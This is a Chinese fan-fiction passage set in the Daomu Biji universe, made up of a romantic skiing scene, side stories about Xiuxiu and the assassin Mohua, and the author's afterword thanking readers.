“阿宁就是阿宁,”我摘了板,哼哧哼哧爬上去,到她身边,“阿宁,我教你滑雪。”
阿宁笑眯眯地说好。
阿宁体力很好,在以前的冒险中我就知道,她身体耐力极佳,灵活性,柔韧度满分,人又聪明好学,我教她两下,她就会了。
“难得,难得。”
我看着阿宁渐渐掌握动作要领,她完完全全是一个初学者,但学习能力恐怖,犯一次的错永远不会犯第二次。
我啧啧感叹:“也有我教阿宁东西的一天,你学得也太快了。人怎么能这么聪明?你是吃什么长大的?”
阿宁谦虚地说哪里哪里,电脑、手机上的很多东西不都是你教我的。
我扶着她的肩笑弯了腰:“你是说,我在北京上学,你在上海上班,你琢磨着怎么给我点外卖送花?还是研究怎么给我游戏充值,送皮肤?”
阿宁也搂着我直笑,我俩跟傻蛋似的雪镜对雪镜,在寒风中热乎乎地笑。
我们在将军山滑雪场一直滑到傍晚,太阳落山,远处天边一片橘黄,就像太阳融化、平铺流淌了似的。
放眼望去,满山蓝调,地平线的橘红就是那么热烈璀璨。
飘渺又梦幻。
说起来,我和阿宁与夕阳有缘。
阿宁拉着我的手,和我一起看日落。也许她和我一样想了很多。
离别的夕阳。
重逢的夕阳。
静默了一会儿,她说:“林霖,我们来拍张照片吧。”
我说好呀好呀,掏出手机,正打算自拍,阿宁却说:“我们拍以前拍的那张,在宏村,那个写生的学生帮我们拍的背景照。”
她四处看,找到一个人,把手机给她,说了几句,那女孩也很乐意,指挥我们调整角度。
背对着摄像头,我也不用做表情,靠在阿宁肩膀上纳闷道:“为什么这样拍?那张照片你是不是没能带来,觉得可惜想补一张?
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”
阿宁没回答,反问我:“那时候你为什么不愿意和我拍照片?你明明很喜欢拍照,这一路上手机都存爆了。”
我不想说实话,插科打诨转移话题,阿宁未必不知道原因,她只是在表达过去的伤感。
我有些愧疚,一直说以后我们拍多多的照片,把以前的都补上。
我总是这样,扭捏含蓄地表达,话音之中永远有说不出口的含义。
阿宁笑了笑,把我的大手套摘掉,让我摸她口袋。
我拿出一张照片。
正是宏村写生时拍的。
我吃惊极了,她竟然把这个带过来了。
难道说,从拿到这张照片开始,她就一直在口袋里装着吗?
我心里有些不是滋味。
身后拍照的女孩说好了,阿宁谢过她,手机递给我让我看照片,说等晚上洗出来。
“可惜你的画没有带着。”阿宁补充道:“好看极了。”
“我还能再画嘛。”我安慰她,“我人都在这里,画不是想有多少有多少。你想要什么样的我都给你画嘛。你一声令下,无论是怪兽还是超人,我都能给你画。”
天边橘红慢慢变浅,蓝色的天地里,阿宁看了我一会儿,有些释然地笑了,搂着我低声道:“没错,你人都在这里了。其他什么都不重要。”
我手里捏着照片,很快地凑近阿宁,我扯下我俩的面罩,微笑着在她唇上啄了一口。
蓝色雪山上,话音凝结成水汽。
“放一万个心,亲爱的。余生很长,我这一辈子都属于你了。”
52.秀秀番外[番外]
巴乃之行结束后,秀秀和重伤的吴邪几人告别,回到北京。
张家古楼的凶险超出了所有人的意料,最后出来的人几乎都不成人型。
秀秀心有余悸,奶奶想要的样式雷最后还是被人带出来了,奶奶拿着样式雷淡淡地说,她没有什么遗憾了。
这些天,秀秀忙着处理家事,奶奶有意放权,很多事情让她做决定。
秀秀看着主位上闭目养神的奶奶,和她面前恭恭敬敬等待她做出指示的大伙计们,顿感压力。
奶奶给她的,是权力,也是担子。
秀秀熬出了黑眼圈。
深夜,打发走最后一批人,秀秀放松了肩膀,看着窗户发呆。
这时候,手机响了,是小花。
“秀秀,没睡?”解语花轻笑,“那你出来,哥带你去兜风。”
秀秀翻过墙头,跃上小花的敞篷车。
小花开的不快,两个人的头发轻轻飘起,秀秀叹了口气。
“怎么了?小霍当家的,大权在手,还这么烦恼吗?”解语花语气揶揄,“这些天我都听说了,你们霍家好热闹,小辈争权打得头破血流,奶奶就冷眼看着?这是在养蛊呢。”
“别这么叫我。”秀秀无奈一笑。
“大家都这么叫你。”
秀秀立刻给了他几下,解语花连连讨饶,好半晌,秀秀叹了口气,才说:“奶奶有她的想法,她想磨练我。内斗是必然的,偌大霍家,谁不想要?奶奶属意与我,但我要是连这种程度的乱子都处理不好,奶奶一定会重新考虑继承人。”
小花瞅了妹妹一眼,自从长沙回来后,秀秀就有些变了,他不知道这是好是坏。
“秀秀,我觉得,”小花斟酌着说:“你不喜欢,其实可以跟奶奶说,她不会勉强你。”
“哥,”秀秀叹了口气,“我也想做回以前无忧无虑的小女孩,有奶奶宠爱,家里谁敢冒犯我?”
“但就像林霖姐姐说的,我们这种家族,我注定无法安逸,永远单纯。”
小花很感兴趣:“她还跟你说过这样的话?她还说什么了?”
“她建议我把两个哥哥杀了。”
小花倒吸一口凉气:“这话是她说的?看不出来。”
秀秀就笑:“你才见过人家几面?你都是从吴邪那里打听的她,经过别人转述,能了解她才怪,更别说吴邪参杂了这么多个人情感。你看林霖叫他别带潘子,他愣是把不同意的潘子绑了都坚决贯穿命令。”
两个人一起笑。
笑了一会儿,小花把车停在路边。
夜灯昏暗,城市绿化带整整齐齐,向前延伸。
晚风吹拂,提到了林霖,两个人默契的没有再开口。
最后还是秀秀忍不住问:“哥,你说她究竟去哪了?”
在巴乃,霍家抓住那个莫名其妙跑过来的老外,一阵兵荒马乱后,那老外自称阿Z,说是阿宁派他来看看秀秀在不在。
秀秀很纳闷,打林霖号码,想问问怎么回事。
打不通。
这时候阿Z也慌了,说阿宁那边好像出事了。
秀秀心里有种不详的预感,立刻派人和阿Z一起去皖南找人。
他们见到的只有一栋空荡荡的小楼。
小花摇头:“不知道,阿Z说,有个司机,说阿宁撞了她的车跑了,她提供了线索,说阿宁追着林霖去黄山了,阿Z找到了阿宁停在黄山风景区的车。他走程序给那司机处理了车。这些天我和他一直在找,完全没有踪迹。”
“人怎么能突然消失呢?”秀秀很忧愁,“我还没找她玩呢,我想请她来北京的。”
解语花拍了拍她的肩膀:“我跟吴邪说了,他说,林霖这样突然不见了,他心里竟然可以接受,她出现的时候就很突然,走的悄无声息似乎也很合理。不过他说,他至今也搞不懂林霖这个人,有时候他很畏惧林霖。”
“不仅是他,王胖子也是,”秀秀说,“在长沙的最后一天,林霖告诉我,去巴乃把云彩看护好。我当时都不知道云彩是谁,她又怎么知道的。我跟吴邪一说,吴邪脸色就变了,云彩立刻被支来我们营地。胖子被救出来之后,他脸色也是白的吓
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人,抱着云彩不撒手。”
秀秀想到了什么,咯咯笑起来:“他嚷嚷要给林霖钱,他觉得林霖死了,吴邪不高兴,胖子每天给她烧纸钱,吴邪就把火踩灭,两个人天天吵得不可开交,云彩和那小哥在一边看热闹。”
小花补充:“还有个趁乱拉偏架的潘子。”
“秀秀,其实我听她说过一句话,我琢磨了很久。”
秀秀一愣:“什么?”
“她说,她觉得我们很真实,很不容易,她很感慨。”
小花面露思索:“什么情况下,人会说出‘很真实’这三个字?”
他说完看向秀秀,秀秀回望他。她的面容十分平静:“那天我也听到了。”
“林姐姐就是这样,有时候说的话让人听不懂,”秀秀说,“但她不是胡言乱语,她……我怎么说呢。”
秀秀敲敲头:“她有时候,就挺忧伤的,那个眼神。她年纪不大,和我同龄,但看起来就很可靠。爱玩爱闹,但真遇上事了,她靠得住。我第一次见她,她都自顾不暇了,还想来救我。”
秀秀脸上浮现笑意,这些年她不是没见过可靠,护着她的人,可是林霖的态度是这么自然,像个本家姐姐一样照顾她。
秀秀一开始新奇。
巴乃之后,更是带上了感激。
林霖言语间的提点,行动上的保护,都让秀秀动容。
“她是真心为我好的。”秀秀很明白,“她很厉害,知道很多事情……她很通透,所以我相信她不会有事的,也许她只是不想搭理我们了,带着阿宁藏起来了。”
“我相信是这样。”
霍家内斗落幕,秀秀表哥车祸身亡,一众亲戚噤若寒蝉。
往后的很多年里,秀秀逐步掌控整个霍家,带着调侃的“小霍当家”逐渐变成了威严的“霍当家”。
她也没有试图寻找林霖,只是去了皖南很多次。
看一看山,看一看景。
有的时候,一些人,一些事,只会出现在人生旅途的某个节点。
这也是林姐姐教会她的。
53.墨婳番外[番外]
墨婳躺在床上,检测仪滴滴作响。
妹妹黑长直抱臂靠墙,淡漠地看着她。
小孟坐在椅子上,拿老板送墨婳的营养品吃着,似乎是受不了这种氛围,她开口:“喂,我说你们说句话啊,有遗言的说遗言,有心事的说心事,再不说一会儿来不及了。”
墨婳动了动眼睛,打量着小孟豪放的坐姿,忽然问道:“你在她面前也这幅样子?”
墨婳完全没提“她”是谁,小孟却一笑,了然:“不敢,你不是让我老实点?我扮演的是听话的手下。她还蛮喜欢我的。”
墨婳没有反应。
黑长直来了兴趣,站直身体:“谁?”
她略微一想:“你在上海打下来的那个人?”视线看向墨婳,叫她的代号:“是吗鬼蝶?”
两张相同的脸对上视线,墨婳眼里闪过一丝复杂情绪,她闭了闭眼:“对。是她。”
黑长直轻嗤一声,回忆起林霖的面容,她和墨婳一母同胞,墨婳什么想法她不清楚?
黑长直不满地看着这个没用的姐姐,想说两句挖苦一下,毕竟她们姐妹俩一直是这样相处的。
但她忽然瞥到墨婳苍白的脸。
毫无血色,时日无多。面有怀念,痛楚,但更多是一种了无生趣的空洞。
刻薄之语没能说出口。
她又想起林霖。
她这个姐姐,这辈子是就栽到那张脸上了。
黑长直抿唇,语气依然不怎么好:“我以为,你在上海追着她,最后还从直升飞机上把她打下来是有什么想法。这可不是我多想,你以前抓活口都是子弹打人腿的,对她只堪堪擦过胳膊?就因为她的脸?”
墨婳没声音。
黑长直瞅着姐姐。
也许有,也许没有,谁也不知道墨婳当时是怎么想的,但黑长直清楚,当墨婳看到林霖的那一刹那,她的内心并不是毫无波澜。
她的姐姐墨婳,代号鬼蝶,老板身边的一流杀手,擅长柔道,暗器,钩爪。
上海追杀裘德考,墨婳弃车跃上林霖的那辆车。
只要她想,顺着破烂的后玻璃随便甩出什么东西,哪怕就是从车顶扣一块铁皮当武器,也能另车内的人顷刻毙命。
她没有动手。手下留情,这另黑长直感到意外。
她抓了林霖,黑长直以为她有特殊目的。
但似乎没有,墨婳只是像正常对待任务对象一样和她相处。
直到那天晚上。
“那天晚上很黑。”墨婳开口,她平直地叙述着什么,漆黑的眼睛有些涣散。
“她和我共处一室,她想跑,”墨婳说,“我当然发现了,我看着她狂奔在草地上,脸红红的,她很生气,怨恨地瞪我。”
墨婳说了很多,神思飘渺。
巨大的探照灯追过去,是墨婳捉弄林霖,但墨婳走过去,看清林霖的样子,她是如此愤怒,浑身散发着蒸腾的热气,她跑的太快,肋骨伤丝丝作痛,面容又带了一层痛意。
就是在那时,墨婳通过她的脸,看到另外一个,早已死去多时的人。
那人离开的时候,也是带着痛意和哀伤。
两人太过相像,几乎让人无法分清。
墨婳从心底感到一丝不安,仿佛有某些不切实际的想法滋生,而她清楚知道那是不可能的。
小孟静静听她说完,问道:“你为什么要骗她你妹妹才是鬼蝶?受到诅咒的分明是你,你说自己和她一样没几天好活了她说不定还会心软。”
“她不会的。”墨婳敛了心神,无比清楚:“在她看来,我做什么都是错的。她不会怜悯给她造成伤害的人——从我妄图留下她,我就做错了。”
小孟脸上带了怅然。
做这一行,脑子没有不好使的,有些事不是想不明白,是愿不愿意明白。
墨婳比任何人都清楚。
林霖对墨婳来说,是一场幻梦,也许连梦都不是,她的梦中人早就死掉了。
她究竟是真的爱上了林霖,还是把她当做某种精神寄托?
墨婳不愿再想,眼前逐渐模糊,她看到小孟和妹妹的脸上带了点悲戚。
她有点累了,她想。那就睡吧。
……
墨婳今年十八岁了。家是小康之家,人是有点叛逆。高考完,墨婳偷偷坐高铁去旅游。
她选了个靠窗的位置,等待发车的时候,她呆呆地看着窗外。
一个女孩子匆匆忙忙跑了过来,快发车了,站台上空无一人,她狼狈地狂奔着,冲下台阶,笔直窜上最近一节车厢。
一分钟后,女孩喘着气坐到她旁边。
女孩气质很文雅,看起来是个乖乖女。整齐的空气刘海跑乱了,张牙舞爪地飘起来,她胡乱拨弄着头发,又降下桌板。
似乎是为自己大喘气感到不好意思,她竭力平复呼吸,小心地看了墨婳一眼。
墨婳假装闭目养神,耳朵里塞着耳机。
列车平稳地运行起来,女孩仔细擦了一遍桌板,掏出平板开
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始看动画片。
墨婳是个酷小孩,她妈妈说她一出生就很酷,护士不打就不哭,看谁都轻蔑地斜眼,傲得很。
墨婳听了很受用,并固执地保持这种风格。
不过此刻她在偷偷看动画片。
又转移注意力,看人家女孩的侧脸。
看着看着就恍了神。
她总觉得这女孩十分面熟。
奇怪的很。她从来没见过她,但在她从站台上狂奔过来时,心脏抽痛了一下。
墨婳审视地打量她。
女孩忽然转头,脸上有点发红,她发出邀请:“你……要一起看吗?我看你看好一会了。”
墨婳的脸烧起来:“你看错了。”
女孩一愣。
“我没看。”墨婳狡辩。
“……好吧、好吧。”女孩显然有些不知所措,假装很忙地切换页面,窘迫的耳朵红透了。
墨婳心里有点后悔,自己这样好像不太好,但看动画片,她墨婳必不能承认。
正踌躇间,女孩换了一个超燃热血动漫,看了起来。
墨婳轻咳一声。眼睛看向她。
女孩带着耳机,毫无所觉。
墨婳憋了五分钟,心里墨婳一二三号在大战。
一号:我有点想看,直接告诉她!
二号:放屁,我也不是很想看,主要吧,我对这个女孩感兴趣。
三号:看毛啊,幼稚死了好吧,成熟人是不看这种羁绊啊宿命啊什么东西的!你是一个成熟的人,墨婳!
墨婳伸出手指,戳戳女孩胳膊。
女孩讶异地看过来,随后脸上露出一个微笑:“要一起看吗?”
墨婳点头。
看了好几集,两个人说了会儿话,没有这么拘谨了。
女孩问墨婳去哪,发现两人目的地一致。
“太好了!”女孩甜甜地笑起来,眼睛明亮狡黠,她提议道:“不如咋们一起吧,实不相瞒,我一看到你,就很喜欢你,好像我们从前认识一样。”她有些羞涩,但很真诚地说。
墨婳心里一暖,“我也是”三个字闷在心口,涌起说不清道不明的情绪。
她看着女孩伸过来的手,和她娴静带笑的面容。
她慢慢握住,漆黑的眼眸凝视着她,刹那间,心里什么想法都没有了。
澄净无比,安逸无比。
仿佛隔了一辈子,仿佛墨婳已经等了这个人很久很久。
“我叫墨婳,很高兴认识你。”
54.后记[番外]
这是一篇真实的故事。
故事的开始我并没有在意,随笔一写,写了几章断更半个月,一度因为懒惰试图不更。
但很快被大家捶了,老实回来写。
我什么时候发现这个故事是真实的?
答案是我写到在北京,阿宁前往巴乃,林霖恐惧绝望看天,问出那句“冥冥中,我又是被谁操控的棋子,书写的命运?”
这时,我忽然感到大脑眩晕,仿佛有人狠狠给了我一棒。
这是林霖的诘问,对我这个幕后黑手的谴责。
我真的怕了,我怕林霖冲出来揍我。
从此我不敢再写类似的话。
一开始只想写几万字,不知不觉写了十几万,是因为故事本身就存在这么多。
我笔力有限,可能无法把故事完全呈现给读者宝宝们,大家见谅(爆哭)。
林霖受到书中世界的限制和诅咒,后来回到原本世界,恢复健康,大家可以理解为书中世界排斥她(她经常剧透);原本世界,也就是我们的世界保护她。
所以她回来后,受到的诅咒就消解了,因为世界和世界有次元壁嘛,诅咒总不能逮着她杀。
阿宁和林霖一起过来,是书中世界已经不存在她这号人物(原著阿宁已死),某种程度上说她和林霖都是不存在的人。
黄山是链接两个世界的锚点。书中世界也乐意把这两个异类撵走。
最后所有人结局都是好的,必死的人林霖一番操作都给救活了。
林霖其实在盗笔里的大家心中是一个神秘人!(她要是知道一定暗爽)
她对秀秀影响最大,秀秀后来的决策里多少都带着林霖的影子。
吴邪和胖子此后很多年都在为“到底给不给林霖烧纸钱”而干仗。
解语花后来找到黑瞎子,两个人一
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起分析古怪的林霖。(也没分析出个所以然)
阿Z后来遇到了别的东方女孩,这次他吸取教训,给人送了一堆百合小说。(结果人家以为他想和她做姐妹)
王盟五年后问吴邪林霖去哪了,得知人家喜欢女孩后,绝望地抽了一夜的烟。
阿宁其实早就发现自己是一本书里的人物了,她计划线下真实南派三叔,最后被林霖发现并拦住了。
阿宁和林霖初吻是在雨林,阿宁给林霖做人工呼吸。
阿宁喜欢林霖,一开始她并不承认,因为她觉得自己配不上林霖。(工作性质问题,给不了林霖幸福)
……
故事到这里就结束了。
最后感谢大家的支持!大家每一条评论我都看了,我很喜欢!真的炒鸡感谢!还有营养液灌溉,大家灌的好多!感动!(语无伦次)
感谢大家一路相伴!我爱你们!